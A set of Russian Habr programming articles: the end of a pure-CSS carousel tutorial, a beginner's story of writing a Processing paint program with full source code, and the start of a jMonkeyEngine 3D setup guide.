li:nth-child(2) {
left: 50%; /* ширина + левая/правая граница первой рамки */
}
li:nth-child(3) {
left: 100%; /* ширина + левая/правая граница предыдущих рамок */
}
li:nth-child(4) {
left: 150%; /* ширина + левая/правая граница предыдущих рамок */
}
li:nth-child(5) {
left: 200%; /* ширина + левая/правая граница предыдущих рамок */
}
```
Ширина (width) вышеуказанного контейнера установлена на значении 30%, все остальные значения (смещения влево (left) и ширина (width) рамок) также указаны в виде процентных соотношений.
```
ul {
height: 100px; /* предотвращает нарушение контейнера */
position: relative; /* делает этот контейнер блоком, содержащим вложенные рамки AP */
width: 50%;
}
li {
position: absolute;
width: 25%;
}
li:nth-child(2) {
left: 25%; /* ширина + левая/правая граница первой рамки */
}
li:nth-child(3) {
left: 50%; /* ширина + левая/правая граница предыдущих рамок */
}
li:nth-child(4) {
left: 75%; /* ширина + левая/правая граница предыдущих рамок */
}
li:nth-child(5) {
left: 100%; /* ширина + левая/правая граница предыдущих рамок */
}
```
В данном случае ширина контейнера составляет 50%, а ширина каждой рамки — 25%, что позволяет отображать четыре рамки в ряд внутри контейнера.
Это решение определенно лучше, чем использование float, но недостатком тут является то, что удаление все элементов с потока требует оформления контейнера с указанием высоты (height), чтобы предотвратить отображение последующих исходных элементов за всеми рамками.
#### Решение
Грубо говоря, это решение требует убедиться, что блок, содержащий элементы, соответствует видимой области карусели, и что ничего не выпадает из потока – тут высоту карусели задает контент.
**Используем inline-block**
Начнем с основ:
```
* 1
* 2
* 3
* 4
* 5
```
```
li {
display: inline-block;
}
```
С таким простым оформлением и макетом, как и в конструкции с float, вложенные рамки сползают, если им недостаточно места:
```
ul {
width: 450px;
}
li {
display: inline-block;
}
```
**Волшебная пилюля**
Мы можем избежать сползания рамок с помощью white-space:nowrap:
```
ul {
width: 450px;
white-space: nowrap;
}
li {
display: inline-block;
}
```
Теперь у нас есть решение, которое не требует установки точного значения высоты (height) контейнера и оформления вложенных рамок со смещением или настройки их ширины (width) с точными значениями. И в качестве бонуса – это решение подходит для RTL:
```
* 1
* 2
* 3
* 4
* 5
```
#### Реализация карусели
**Смещение за счет margin**
Использования левого поля на первом элементе достаточно, чтобы сдвинуть все поля за раз (влево или вправо):
```
ul {
width: 100px;
white-space: nowrap;
}
li {
display: inline-block;
width: 100%;
}
li:first-child {
margin-left: -100%; /* для старых IE может потребоваться этот класс*/
}
```
Оформление контейнера с overflow:hidden скроет элементы, которые находятся за пределами контейнера:
```
ul {
width: 100px;
white-space: nowrap;
overflow: hidden;
}
li {
display: inline-block;
width: 100%;
}
li:first-child {
margin-left: -100%;
}
```
Единственно, что стоит не забывать – это сбрасывать описание nowrap, если этот стиль унаследован.
**Смещение за счет translate, position, и пр.**
Перемещение контейнера, а не его первого дочернего элемента, требует использования дополнительной обертки (обратите внимание, что все стили переносятся со списка на эту надстройку):
```
* 1
* 2
* 3
* 4
* 5
div {
white-space: nowrap;
width: 50%;
overflow: hidden;
border: 5px solid deeppink;
}
```
```
ul {
border: none;
*position: relative; /* возврат к oldIE */
*left: -100%; /* возврат к oldIE */
transform: translateX(-100%);
}
/*фолбэк для IE8 */
@media screen\0 {
.example-13 {
position: relative;
left: -100%;
}
}
li {
white-space: normal; /* сброс */
display: inline-block;
width: 50%;
}
```
**Карусель с выглядывающим элементом**
Это решение мы можем легко выполнить следующим образом:
```
div {
padding-right: 12%; /* создает разрыв справа от списка, открывая часть следующего поля */
}
img {
width: 100%; /* та же ширина, что и у контейнера */
vertical-align: bottom;
}
```
Обратите внимание, что именно изображения задают высоту карусели, и что все поля отзывчивы и правильно позиционированы – без использования JavaScript.
**Чистая CSS-карусель с эффектом плавного появления**
Логика, в которой не требуются знания математики!
```
* 
* 
* 
* 
* 
* 
* 
* 
* 
* 
```
```
.carousel {
width: 200px;
padding: 5px;
overflow: hidden;
border: 1px solid #ccc;
border-radius: 3px;
text-align: center; /* центрирует кнопки-переключатели */
}
.carousel-list {
white-space: nowrap;
padding: 0;
margin: 0;
transition: transform .3s;
}
.carousel-list li {
white-space: normal; /* сброс */
display: inline-block;
width: 100%;
}
.carousel-list img {
width: 100%; /* подгоняется под контейнер */
vertical-align: bottom; /* удаляет пустое пространство под изображением */
}
/**
* список перемещается кнопками-переключателями
*/
input:nth-child(1):checked ~ ul {
transform: translateX(0);
}
input:nth-child(2):checked ~ ul {
transform: translateX(-100%);
}
input:nth-child(3):checked ~ ul {
transform: translateX(-200%);
}
input:nth-child(4):checked ~ ul {
transform: translateX(-300%);
}
input:nth-child(5):checked ~ ul {
transform: translateX(-400%);
}
/**
* эффект плавного появления
*/
.carousel-list li {
opacity: .1;
transition: all .4s;
transform: scale(.1);
}
input:nth-child(1):checked ~ ul li:nth-child(1),
input:nth-child(2):checked ~ ul li:nth-child(2),
input:nth-child(3):checked ~ ul li:nth-child(3),
input:nth-child(4):checked ~ ul li:nth-child(4),
input:nth-child(5):checked ~ ul li:nth-child(5) {
opacity: 1;
transform: scale(1);
}
```
Вы можете отредактировать значение width ниже, чтобы проверить «отзывчивость» этого решения.
```
.carousel{width:200px}
```
#### Более сложная карусель
Как отобразить два элемента, разделенных разрывом, передвигая один элемент карусели за раз.
```
.carousel {
display: inline-block;
width: 200px;
padding-right: 190px; /* ширина контейнера минут 10px внутреннего поля элементов списка */
overflow: hidden;
border: 1px solid #ccc;
border-radius: 3px;
text-align: center; /* центрирует кнопки-переключатели */
}
.carousel-list {
white-space: nowrap;
padding: 0;
margin: 0;
border: none;
transition: transform .3s;
}
.carousel-list li {
white-space: normal; /* сброс */
display: inline-block;
width: 100%;
box-sizing: border-box;
padding-right: 10px; /* создает разрыв между изображениями */
}
.carousel-list img {
width: 100%; /* подгоняется под контейнер */
vertical-align: bottom;
}
.carousel input {
margin-left: -3px;
}
.carousel input:nth-child(1):checked ~ ul {
transform: translateX(0);
}
.carousel input:nth-child(2):checked ~ ul {
transform: translateX(-100%);
}
.carousel input:nth-child(3):checked ~ ul {
transform: translateX(-200%);
}
.carousel input:nth-child(4):checked ~ ul {
transform: translateX(-300%);
}
.carousel input:nth-child(5):checked ~ ul {
transform: translateX(-400%);
}
.carousel input:nth-child(6):checked ~ ul {
transform: translateX(-500%);
}
.carousel input:nth-child(7):checked ~ ul {
transform: translateX(-600%);
}
```
**Полезные решения Paysto для читателей Хабра:** → [Получите оплату банковской картой прямо сейчас. Без сайта, ИП и ООО.](http://linkcharge.ru/email)
→ [Принимайте оплату от компаний через Интернет. Без сайта, ИП и ООО.](http://linkcharge.ru)
→ [Приём платежей от компаний для Вашего сайта. С документооборотом и обменом оригиналами.](http://linkcharge.ru/api)
→ [Автоматизация продаж и обслуживание сделок с юр.лицами. Без посредника в расчетах.](http://linkcharge.ru/automat) | https://habr.com/ru/post/253111/ | null | ru | null |
# Программирование для начинающих. Моё знакомство с Processing
Доброго времени суток, уважаемые.
Цифровые электронные самоделки часто взаимодействуют с компьютером. Передают данные, либо управляются с него. В свете этого всегда был интерес к программированию.
Мой прошлый опыт в этой области связан с интерпретатором бейсика ZX Spectrum, Qbasic’ом в рамках хобби юности и Си-86 в рамках студенчества. Были попытки освоить ECMAScript в рамках интереса к языку VRML. Встал вопрос, что выбрать сейчас?
Прошу под кат.
Чтение статей о бурно развивающихся языках вызывало грустные мысли. Все эти Го, Дельфи, Перлы, PHP, Java. Про питонов, так я вообще до последнего времени был уверен, что это вид змей. В общем, обилие и разнообразие. В котором мне, как начинающему, трудно понять, кто есть кто, и для каких задач. Чем, например, отличается Java от JavaScript?
Мои бесплодные размышления продолжались бы и дальше. Но прочитал пост ресурса Изокод о их цикле статей «Полуостров Бинария». О языке Processing. Заинтересовался. В рамках интереса к Ардуино несколько раз встречал упоминания о нём в туториалах. Были и сомнения. Ведь для него требуется Ява машина. С этим творением корпорации Oracle сталкивался при установке одной из любимых игр сына Minecraft. И с ним были проблемы. Домашний комп старенький, на атлоне 1,3. Оперативной памяти пол гига (сейчас уже полтора). И крайнюю версию этой игры запустить невозможно. Ибо требуется крайняя версия Явы, которая на этом железе уже не работает.
Сомнения плана: вот не будет работать Ява, по разным причинам. От железа до санкций. И что потом делать? Или, почему мой браузер Файерфокс верещит об обнаружении опасности, и прозрачно намекает «Братан, в общем, я тебя предупредил…»
Стал читать статьи Изокода. Мне они очень понравились. Простота и магия изложения. Ассоциация юного программиста с островом. Эпилоги. Стал читать сыну, и он тоже загорелся. Считаю, стиль изложения хорошо компенсирует трудность восприятия новых для начинающего понятий интригой его сравнения с растущим островом. Подстёгивает его интерес, играет на самолюбии. А когда прочитанное воплощается на экране в код и результат, вообще поглощает его. Но, также, один из эпилогов заставил меня сильно задуматься о целесообразности изучения сыном: «Раньше, не значит вовремя». Потому я пока приостановил это направление наших совместных изысканий. Но не остановился сам.
Итак. Установил среду. Ява уже стояла. Запустил. Всё знакомо по Arduino IDE. Набрал один пример из статьи. Отрисовка кучи жёлтеньких кружочков с рандомными координатами. Хм… Синтаксис до боли знаком… Да это же Си! Запустил. Поразила скорость выполнения программы. И это на моём дохленьком Samsung NC-110, с гигабайтом ОЗУ и жалким подобием графической подсистемы. Любопытство русского мужика из анекдота про японскую бензопилу потянуло на эксперименты. Увеличил в 10 раз количество точек в цикле. Вжик, сказал мой скромный трудяга. Хм… Увеличил в 100 раз… Вввжик, повторил он. Увеличил в 1000 раз. Тут уже мой нетбук ощутимо просел по скорости исполнения кода. Но тем не менее я остался доволен. Стал грузить примеры. Те, что с графикой, конечно притормаживали. Попробовал скомпилировать один из примеров в ЕХЕшник. И тут выяснилось, что скомпилированный в EXE скетч не запускается. Выскакивало два окна.
В одном «C:\ProgramData\Oracle\Java\javapatch\javaw.exe Неизвестная ошибка».
Второе с заголовком «Processing error», с текстом «Error calling ShellExecuteEx()».
Дальше были классические действия начинающего программиста. Фары протёр, колёса попинал. Обшарил сайт processing.org, попытался найти чат программистов. Но там оказались не программисты, а юные озаботики. Отчаявшись найти ответ, стал размышлять над извечным русским вопросом. И вот так бывает! Правильно сформулированный вопрос содержит половину ответа. И свою проблему я решил. Я ж искал не там! В Program Files. А требует не Program Files, а ProgramData! Папка оказалась с атрибутом хидден. Залез. Там нашлись и требуемые подпапки, но! В папке javapath лежат не сами файлы, а ярлыки на них. Не смог отредактировать свойства, в частности указать рабочую папку. Полез в папку Явы. C:\Program Files\Java\jre1.8.0\_25\bin\ Там нашёл требуемую программу, и создал с неё новый ярлык в C:\ProgramData\Oracle\Java\javapatch\ Это не помогло. Тогда просто скопировал её, и другие, на которые были ярлыки, в эту папку. И всё заработало!
Читая с сыном первые главы, разобрались с отрисовкой кружочка, его закраской желаемым цветом, задействование мыши, координат курсора и кнопок. Сыну очень понравилось рисовать мышкой. Он и до того баловался в программах раскрасках, фотошопе. А тут. Рисование в написанной нами программе! Требовал от мамы посмотреть. И у меня родилась идея. А почему бы не попробовать написать графический редактор а-ля паинтбраш?
Первая версия уместилась в 30 строк кода. В ней уже был выбор цвета и диаметра кисти. Сыну понравилось ещё больше. Конечно, именно 30 строк были не случайностью, а погоней за тенденциями :) Потому код представлял из себя кашу.
На данный момент их уже почти 300. Но не потому, что программа стала супер навороченной. А потому, что стараюсь уйти от быдло-стиля написания. После, в этой мешанине даже самому невозможно разобраться. Что сделано? Сделаны панели выбора цвета и размера кисти. И к ним кнопочки вызова. Количество образцов цвета теперь 8. По 4 на левую и правую кнопку мышки. К каждому образцу своя кисточка. Пока лишь диаметр пятна. В планах масштабирование пятна по X и Y, расстояние между мазками. Левой кнопкой выбирается цвет для изменения, правой — активные для лев. прав. кнопок при рисовании. Не закончено сохранение изображения в формате BMP. Честные 16+ миллионов оттенка цвета. Не хватает числовой информации. Например, о размере кисти, о координатах курсора в поле рисования. Это тоже в планах. Ещё в планах пипетка для определения цвета, штамп для копирования, размытие — его сильно не хватает при рисовании. Различные формы пятна от кисточки, различные алгоритмы закрашивания. Основное — равномерный тон, без многократного наложения мазка в одной точке, даже при прозрачности цвета. Не хватает векторов для рисования прямых. А ещё безумно не хватает Undo. Сделана более чёткая логика работы. Теперь цвет не сбивается, если вылетаешь из поля рисования на панель выбора цвета. Как и не сбивается размер кисточки. Но и есть ошибки. Пока не исправленные. Но и не проявляющиеся явно. Функции в этом языке, как и в Си. Функции это подпрограммы. Очень удобно. Написал функцию, получающую параметры при вызове. Она выполнила предписанное, вернула результат. Причём предписанное предписано не жёстко, а может выбираться в зависимости от значений параметров при вызове. Или не вернула ничего, но изменила значения глобальных переменных. Или перерисовала что-то на экране. Гуру говорят, что глобальные переменные зло. Но мне пока без них никуда. Изначально моя программа была монолитной. И самой сложной частью была проверка условий, где курсор, что нажато. Когда это было 30 строк кода — всё было наглядно и понятно. Но с увеличением количества «фич» стало появляться всё больше и больше повторяющихся кусков кода. И я решил использовать функции. И тут всё сломалось. Стройная монолитная программа взорвалась на пару десятков отдельных кусков — функций. Очень хотелось поддерживать работоспособность программы постоянно. Пугала возможность допустить ошибку, и уже не разобраться, что, откуда, куда, зачем? Но постепенно всё нормализовалось. И даже более того. Оптимизировалось! Теперь одна и та же функция как изменяет цвет, так и параметры кисти. И, наверняка, она же будет применена для других панелей, если появятся. Другая универсальная функция перерисовывает положения ползунков на скроллбарах. Третья отображает 8 цветов, выбранный для изменения цвет, активные цвета для кнопок мыши. В процессе тестирования стали выявляться ограничения. Разрешение создаваемых изображений 72 пикселя на дюйм. И при малейшем увеличении это сразу видно. Но ведь редактор позиционировался а-ля ПаинтБраш, а не а-ля фотошоп. Стоит отметить, что я прочитал всего 3 главы книги «Бинария». И, считаю, что обладая столь ограниченными знаниями, результат всё же неплохой. Листинг программы будет прикреплён в конце статьи. Алгоритм ясен из комментов. Я пишу обычно по ночам. Когда мой ненаглядный главный бета — тестер спит. Не отвлекает внимание на свои интересы. А их немало. Вижу смысл сказать вот что:
1) Всё, буквально всё, надо комментировать! Не только, что какая функция делает, но буквально каждую строчку! Иначе следующей ночью смотришь на собственный код, как баран на новые ворота. Понимаешь, что хочешь, но не понимаешь, в каком месте, что нужно изменить, чтобы реализовать. Код работает. Но ты не понимаешь, как! Надо бекапить. Отладил что-то в программе. Программа работает. Надо сделать копию — бэкап. Чтобы, если всё пойдёт совсем плохо, иметь возможность вернуться. Это особенно важно при внесении больших изменений. Изменении логики работы, добавлении больших функций.
2) С желаниями надо быть последовательным. Идеи приходят табунами. Начинаешь их обдумывать — теряешь мысль, что и для чего делаешь сейчас.
3) Нужно планировать. Программа должна начинаться не с ядра, которое работает. А с задач, которые она будет решать. После эскиз интерфейса, после блок — схемы алгоритмов. Как основной программы — в общих чертах, так и подпрограмм — в деталях. Так проще разобраться, что, куда, откуда, зачем. Иначе — неизбежное переписывание до 60% кода! Когда уже реализованное кардинально изменяется под новую структуру программы, под придуманные универсальные функции.
4) Четвёртое, но на самом деле главное. Надо писать! Надо пробовать, ошибаться, разбираться, исправлять. Никогда не получится прочитать сотню книг по теме, а потом сесть, и написать программу «от и до». Но это, конечно, моё личное мнение. Мнение дилетанта. И это четвёртое не противоречит третьему. Даже имея чёткий план будущей программы, написать сразу и без ошибок не получится.
Что сказать ещё? Очень смешанные чувства. С одной стороны растущая уверенность в собственных силах, с другой осознание, что программа стремительно растёт. С одной — желание и дальше совершенствовать своё «дитя». С другой — осознание, что оно вряд ли когда либо превзойдёт возможностями монстра Фотошопа. А значит, важен не результат, а лишь процесс. Закрепление в голове изученного. Дабы позже быть способным объяснить сыну. Помочь в изучении языка. Осознание, что надо читать следующие главы «Бинарии». Что на данный момент написанное — мой предел. Но далеко не предел этого языка.
В заключении, мой рисунок, выполненный в программе. На скорую руку. Теперь он постоянная заставка на планшете сына. Здесь он приведен скрин-дампом, на планшете, конечно, панель инструментов обрезана фотошопом.
Пара рисунков главного бета — тестера, сделанных в процессе работы над программой.
А ещё скрин-дамп работы его программы. Рисующей девять пасхальных яичек. Каждый раз новыми оттенками цвета. Очень простой программы. Меньше десятка строк. Но назначение каждой команды и переменной в ней он сможет объяснить сам!
**Листинг программы**
```
boolean ris = false; // лог. рисуем или нет
boolean sel_col = false; // лог. выбрана панель цветов или нет
boolean sel_kist = false; // лог. выбрана панель кистей или нет
int num_color = 0; // Изменяемый цвет. 8 цветов. Выбран первый
int color_active_left = 0; int color_active_right = 1; // выбранные для кнопок мыши цвета
int num_panel; // для какой панели вызывается функция изменения значений
// 4 массива по 8 элементов. RGB наборы 8 цветов
int [] colr = new int [8]; int [] colg = new int [8];
int [] colb = new int [8]; int [] proz = new int [8];
// 4 массива по 8 элементов. Размеры кистей, деформации по X и Y, расстояние между следами
int [] r = new int [8]; int [] scale_x = new int [8];
int [] scale_y = new int [8]; int [] distanse = new int [8];
// диаметр кисти, время задержки повторного рисования, выбр набора от лев и прав кнопки мыши
int zader = 1000000000; int nabor;
void ris_main_menu () // главное меню
{
fill ( 20, 20, 20); rect ( 0, 0, 65, 600); // поле панели инструметов
// кнопка выбора панели цветов
fill (20, 20, 20); stroke (200, 200, 200); rect (3, 5, 15, 15); noStroke ();
fill (255, 0, 0); rect ( 5, 7, 3, 11);
fill ( 0, 255, 0); rect ( 8, 7, 3, 11);
fill ( 0, 0, 255); rect (11, 7, 3, 11);
for (int a= 3; a < 14; a++)
{// градиентная полоска прозрачности в кнопке выбора панели цвета
int b = a * 17;
stroke (b, b, b); line (15, 20 - a, 16, 20 - a);
}
// кнопка выбора панели кисточек
fill (20, 20, 20); rect (22, 5, 15, 15); fill (200, 200, 200); ellipse (29, 12, 8, 8);
fill (20, 20, 20); rect (41, 5, 15, 15); fill (200, 200, 200); rect (44, 8, 9, 9);
// кнопка сохранения изображения на диске
fill (50, 50, 50); rect (47, 11, 3, 3); stroke (50, 50, 50); line (48, 9, 51, 9);
}
void disp_sel_col () //индикация выбранных цветов для прав и лев кнопок мышки 2 столбца по 4 цвета
{
cls_sel_col (); // очистка области выбранных цветов
noStroke (); fill (0, 0, 0); // нет обводки, чёрная заливка
for (int i = 65; i <= 119; i = i + 18) // рисуем в цикле 8 прямоугольников под цвета по 2 за итерацию
{
rect (5, i, 21, 16); rect (35, i, 21, 16);
}
for (int i = 0; i < 8; i+=2) // заливаем в цикле 4 нечётных прямоугольника цветами из массивов
{
if (num_color == i) // если цвет выбран для редактирования - обводим белым прямоугольником
{stroke (200, 200, 200); }
else {noStroke ();} // иначе - не обводим цвет
fill (colr [i], colg [i], colb [i], proz [i]); rect ( 5, 65 + i * 9, 21, 16);
// если цвет выбран активным для левой кнопки мыши - ставим рядом красную точечку
if (i == color_active_left) {noStroke (); fill (240, 0, 0); ellipse (30, 73 + i * 9, 5, 5);}
}
for (int i = 1; i < 8; i+=2) // заливаем в цикле 4 чётных прямоугольника цветами из массивов
{
if (num_color == i)
{stroke (200, 200, 200); }
else {noStroke ();}
fill (colr [i], colg [i], colb [i], proz [i]); rect (35, 56 + i * 9, 21, 16);
// если цвет выбран активным для правой кнопки мыши - ставим рядом красную точечку
if (i == color_active_right) {noStroke (); fill (240, 0, 0); ellipse (60, 64 + i * 9, 5, 5);}
}
// если выбрана панель цветов - обновляем положение ползунков вместе с выбранным цветом
if (sel_col == true)
{ris_polz (colr [num_color], colg [num_color], colb [num_color], proz [num_color]);}
// если выбрана палель кистей - обновляем положение ползунов вместе с выбранным цветом
if (sel_kist == true)
{ris_polz (r [num_color], scale_x [num_color], scale_y [num_color], distanse [num_color]);}
}
void ris_col_bar () // панель выбора цветов
{
cls_pan_instr ();
ris_polz (colr [num_color], colg [num_color], colb [num_color], proz [num_color]);
for (int i=255; i>=0; i--) // рисуем в цикле 4 скроллбара для цветов и прозрачности
{
stroke (i, 0, 0); line (5, 400-i, 10, 400-i);
stroke (0, i, 0); line (20, 400-i, 25, 400-i);
stroke (0, 0, i); line (35, 400-i, 40, 400-i);
stroke (i, i, i); line (50, 400-i, 55, 400-i);
}
}
void ris_sel_kist () // панель выбора кистей
{
cls_pan_instr ();
ris_polz (r [num_color], scale_x [num_color], scale_y [num_color], distanse [num_color]);
for (int i=255; i>=0; i--) // рисуем в цикле 4 скроллбара для параметров кисти
{
stroke (200, 200, 200);
line (5, 400-i, 10, 400-i);
line (20, 400-i, 25, 400-i);
line (35, 400-i, 40, 400-i);
line (50, 400-i, 55, 400-i);
}
disp_sel_col ();
}
void cls_pan_instr () // очистка панели инструментов
{noStroke (); fill (20, 20, 20); rect (0, 145, 65, 450);}
void cls_polz () // очистка областей ползунов
{
noStroke (); fill (20, 20, 20);
for (int i = 11; i < 57; i = i + 15)
{rect (i, 140, 9, 265);}
}
void cls_sel_col () // очистка области отображения 8 цветов
{
noStroke (); fill (20, 20, 20); rect (2, 63, 63, 75);
}
void ris_polz (int r, int g, int b, int p) // положение ползунов
{
cls_polz ();
noStroke (); fill (200, 200, 200);
triangle (12, 400 - r, 16, 396 - r, 16, 404 - r);
triangle (27, 400 - g, 31, 396 - g, 31, 404 - g);
triangle (42, 400 - b, 46, 396 - b, 46, 404 - b);
triangle (57, 400 - p, 61, 396 - p, 61, 404 - p);
}
void sel_num_col (int x, int y)
// выбор одного из восьми цветов. Получает X и Y
// левой - выбор для изменения цвета, правой - установка активным.
// Левый столбец - левая кнопка, правый столбец - правая кнопка
{
for (int i = 0; i < 7; i++)
{
if (x >= 5 && x <= 26 && y >= 65 + i * 9 && y <= 81 + i * 8)
{
if (mouseButton == LEFT) {num_color = i;}
else {
if (mouseButton == RIGHT) {color_active_left = i;}
}}
if (x >= 35 && x <= 56 && y >= 65 + i * 9 && y <= 81 + i * 8)
{
if (mouseButton == LEFT) {num_color = i + 1;}
else {
if (mouseButton == RIGHT) {color_active_right = i + 1;}
}}
}
disp_sel_col ();
}
void select_value (int x, int y, int num_panel) // изменение выбранного цвета на скроллбарах
{
// создаём массив на 4 элемента, считываем текущие значения для редактируемого цвета
// если выбрана панель цвета - цвета из массивов, если панель кистей - размер кисти,
// деформации по X и Y, расстояние между мазками
if (sel_col == true | sel_kist == true)
{
int [] a = new int [4];
if (num_panel == 0)
{
a [0] = colr [num_color]; a [1] = colg [num_color]; a [2] = colb [num_color]; a [3] = proz [num_color];
}
else
{
if (num_panel == 1)
{
a [0] = r [num_color]; a [1] = scale_x [num_color]; a [2] = scale_y [num_color]; a [3] = distanse [num_color];
}
}
// проверяем в цикле положение всех четырёх ползунков, запоминаем в массиве новые вычисленные значения
for (int i = 0; i < 4; i++)
{
if (x >= 5 + i * 15 && x <= 15 + i * 15 && y >= 145 && y <= 400)
{a [i] = 400 - y;}
}
// переписываем значения из временного массива в глобальные массивы
if (num_panel == 0)
{
colr [num_color] = a [0]; colg [num_color] = a [1]; colb [num_color] = a [2]; proz [num_color] = a [3];
}
else
{
if (num_panel == 1)
{
r [num_color] = a[0]; scale_x [num_color] = a[1]; scale_y [num_color] = a[2]; distanse [num_color] = a[3];
}
}
ris_polz (a [0], a [1], a [2], a [3]); // перерисовываем ползуны
disp_sel_col (); // отображаем выбранные цвета
}
}
void setup()
{// инициализируем нулём RGB всех цветов, непрозрачные
for (int i = 0; i < 8; i++)
{
colr [i] = (i + 5) * 10; colg [i] = (i + 5) * 12; colb [i] = (i + 5) * 16; proz [i] = 255;
}
size(1000, 550); // размер окна
background (0,0,0); // цвет фона
frameRate (20);
ris_main_menu (); // рисуем главное меню (три кнопки)
disp_sel_col (); // отображаем образцы цветов
}
void draw()
{
if (mousePressed && ris == false) // если какая нить кнопка мышки нажата
{// курсор на кнопке выбора панели цветов
if (mouseX >= 3 && mouseX <= 15 && mouseY >= 5 && mouseY <= 15)
// рисуем панель цветов, лог. панель изменения цвета отображена, панель выбора кисти скрыта
{ris_col_bar (); sel_col = true; sel_kist = false;}
else { // иначе курсор на кнопке выбора кисти
if (mouseX >= 22 && mouseX <= 37 && mouseY >= 5 && mouseY <= 15)
// рисуем панель кистей, лог. панель кистей отображена
// выбор цветов заблокирован - лог. панель выбора цвета скрыта
{ris_sel_kist (); sel_kist = true; sel_col = false;}
else { // иначе курсор в области выбранных цветов
if (mouseX >= 5 && mouseX <= 56 && mouseY >= 65 && mouseY <= 135)
{sel_num_col (mouseX, mouseY);}
// иначе курсор в области скроллбаров. В зависимости какая панель активна, вызывается либо
// функция изменения выбранного цвета, либо функция изменения кисти
else {
if (sel_col == true && mouseX >= 5 && mouseX <= 55 && mouseY >= 145 && mouseY <= 400)
{num_panel = 0;}
if (sel_kist == true && mouseX >= 5 && mouseX <= 55 && mouseY >= 145 && mouseY <= 400)
{num_panel = 1;}
select_value (mouseX, mouseY, num_panel);
// else { // курсор на кнопке сохранения изображения
// if (mouseX >= 70 && mouseX <= 120 && mouseY >= 25 && mouseY <= 75)
// {save ("KARTINKA.bmp");}
}}} // закрываем все "else"
} // закрываем "если нажата какая нить кнопка мыши"
// если нажата какая нить кнопка мыши И положение курсора по X за областью панели
// инструментов - ширина панели + половина диаметра кисточки
// здесь косяк!!! Ограничение выбирается для одного набора, и не меняется при смене цвета / кисти.
// В итоге кисть может затереть всю панель инструментов
if (mousePressed && mouseX >= 65 + r [nabor] / 2)
{
ris = true; // лог. рисуем. Выход на выбор цвета или размера кисти не меняется
// пока не отпустим кнопку мышки
if (mouseButton == LEFT) {nabor = color_active_left;} // если нажата левая - выбранный для левой
else {
if (mouseButton == RIGHT) {nabor = color_active_right;} // если нажата правая - выбранный для правой
}
// нет обводки следа кисти, выбор цвета из массива в зависимости от нажатой кнопки мыши
noStroke (); fill (colr [nabor], colg [nabor], colb [nabor], proz [nabor]);
ellipse (mouseX, mouseY, r [nabor], r [nabor]); // рисуем окружность
// здесь должна быть задержка повторного рисования. Пятно от кисти слишком быстро
// закрашивается до непрозрачного
}
else { // иначе если кнопка отпущена - все лог. переменные в "ложно"
if(!mousePressed){ ris = false;}}
}
```
Упомяну найденные мною книги по этому языку на русском:
«Учимся программировать вместе с Processing» — авторы: Casey Reas/Кейси Риз, Ben Fry/Бен Фрай — 6,89 Мб
«Processing 2: креативное программирование» — автор: Ян Вантомм — 15,8 Мб | https://habr.com/ru/post/260763/ | null | ru | null |
# Пробуем 3D с помощью jMonkeyEngine
Практически каждый, кто занимался геймдевом, понимает, что наилучшей производительности в этой области, по понятным причинам, можно добиться лишь на языках С/С++/asm. С данным утверждением в этой статье я спорить не буду, да и раньше даже как-то не задумывался о создании realtime-игр на других языках. Однако, игры бывают разные, и надо отдавать себе отчёт в том, насколько оправданы трудозатраты на реализацию очередного продукта. Если проект монструозен, с «тяжёлой» графической составляющей, даже после проведения весьма агрессивной оптимизации всё равно требующий от конечных пользователей (геймеров) топового железа на борту, то особых конкурентов на данный момент среди языков разработки у С/С++ в этом случае нету. Но если игрушка — не более чем обыкновенная казуалка, для запуска которой и нетбука будет достаточно, то можно позволить себе куда больший простор для фантазии в вопросе выбора инструментов для разработки. Исходя из этого принципа, в данной статье попробуем разобраться, чем может похвастаться в области геймдева такой, казалось бы, не совсем подходящий для этого, но удобный в целом язык Java, на примере движка jME.
#### Интро
[jMonkeyEngine](http://www.jmonkeyengine.com/index.php). Ничего уж тут не поделаешь, движок действительно так называется, и даже слоган на сайте гласит «Serious monkeys. Serious engine» («Серьёзные обезьяны. Серьёзный движок»). У некоторых разработчиков явно что-то завязано на этих животных (вспоминается тот же RenderMonkey для разработки и отладки шейдеров).
Тем не менее, шуточное в движке только название. jME поддерживает всё необходимое для комфортного и достаточно быстрого создания игр, причём не является исключительно графическим визуализатором, т.е. в наличии также имеется система обработки ввода и библиотеки симуляции физики и проигрывания аудио. Помимо стандартного набора инструментов, присущего многим другим движкам, можно отметить такие фичи как:
* Многопоточность. OpenGL вызовы и игровая логика выполняются в разных потоках. Логика работы может быть реализована с помощью встроенной системы управления игровыми состояниями. Есть несколько предопределённых классов состояний, например, класс TransitionState для реализации экрана загрузки
* Интеграция в Java Applet, AWT, Swing и SWT
* Движок работает только со специальным бинарным форматом моделей JME. Тем не менее есть множество конвертеров типа X -> jme (где X == obj, 3ds, и т.д.), которые позволяют импортировать модели из других форматов прямо во время выполнения (нет необходимости заранее переводить созданные модели в формат JME)
* «Принудительный» контроль за организацией ограничивающих объёмов. При загрузке/создании очередной сеточной модели в коде нужно явно указывать, какой ограничивающий объём будет для неё использоваться
* Рендеринг Swing компонентов внутри сцены
* Быстрое математическое ядро, активно использующее таблицы заранее вычисленных значений
* Встроенные эффекты тип Bloom, Depth Of Field, dot3 bump mapping, Lens Flare, и т.д. Конечно, поддержка GLSL и ARB :)
* Симуляция тканей
* [www.jmonkeyengine.com/wiki/doku.php/complete\_features\_list](http://www.jmonkeyengine.com/wiki/doku.php/complete_features_list)
#### Установка и простейший пример использования
Загружаем [готовый движок](http://www.jmonkeyengine.com/wiki/doku.php?id=download), либо сливаем с репозиториев [исходники](http://code.google.com/p/jmonkeyengine/source/checkout) и собираем сами. В обоих случаях на выходе получаем необходимые для работы библиотеки, которые помещаем в любое удобное место на диске.
Теперь создаём пустой проект в Eclipse и заходим в Properties -> Java build path:
Тыкаем Add External JARs и добавляем библиотеки из папок /path/to/the/engine/lib (пакеты самого движка) и /path/to/the/engine/lib/lib/lwjgl (пакеты визуализатора, который будет использоваться движком, в данном случае LWJGL). Все пакеты добавлять конечно не обязательно, достаточно только тех, которые будут реально использоваться. Должно получиться примерно так:
В свойствах пакетов LWJGL указываем необходимые для их работы native-библиотеки, находящиеся по адресу /path/to/the/engine/lib/lib/lwjgl/native/<ваша\_ос>. Например:
Первоначальные приготовления завершены, теперь создадим новый класс (Program, например). Сделаем этот класс наследующим классу SimpleGame, который хорошо подходит для тестовых программ, т.к. автоматически настраивает все необходимые параметры и создаёт first-person камеру. Программа будет делать две простые вещи — создавать кубик и загружать модель из .obj файла.
> `import java.io.ByteArrayOutputStream;
>
> import java.io.IOException;
>
> import java.net.URL;
>
>
>
> import com.jme.app.SimpleGame;
>
> import com.jme.bounding.BoundingBox;
>
